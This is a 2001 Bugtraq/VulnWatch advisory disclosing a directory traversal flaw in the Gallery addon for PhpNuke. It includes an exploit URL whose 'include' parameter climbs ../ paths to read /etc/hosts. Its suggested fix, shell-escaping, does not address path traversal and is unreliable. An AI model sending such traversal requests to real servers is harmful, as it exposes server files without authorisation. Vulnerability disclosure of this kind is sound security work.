From:	 Cabezon Aurélien <aurelien.cabezon@isecurelabs.com>
To:	 <bugtraq@securityfocus.com>, <vulnwatch@vulnwatch.org>
Subject: Gallery Addon for PhpNuke remote file viewing vulnerability
Date:	 Sun, 18 Nov 2001 03:18:26 +0100

Gallery Addon for PhpNuke remote file viewing vulnerability

Problem discovered: 18/10/2001 by Cabezon Aurélien |
aurelien.cabezon@iSecureLabs.com

[1] Description

Gallery is an intuitive web based photo gallery with authenticated users and
privileged albums.
Photo management includes automatic thumbnails, resizing, rotation, etc.
Gallery is available as a Nuke 5.0 module.

Gallery Addon is vulnerable to the ../.. bug that allow remote file reading
on the web server as whatever
user runs the web server.

[2] Exploit

http://www.somehost.com/modules.php?set_albumName=album01&id=aaw&op=modload&;
name=gallery&file=index&inclu
de=../../../../../../etc/hosts

[3] Fix

Coder has been alerted.
An easy way to fix such a vulnerability is to use the PHP included "system
escapeshell" function.

[4] Informations bout Gallery Addon for PhpNuke

http://www.menalto.com/projects/gallery-nuke/
Author: bharat@menalto.com

---
Cabezon Aurélien
http://www.iSecureLabs.com
aurelien.cabezon@iSecureLabs.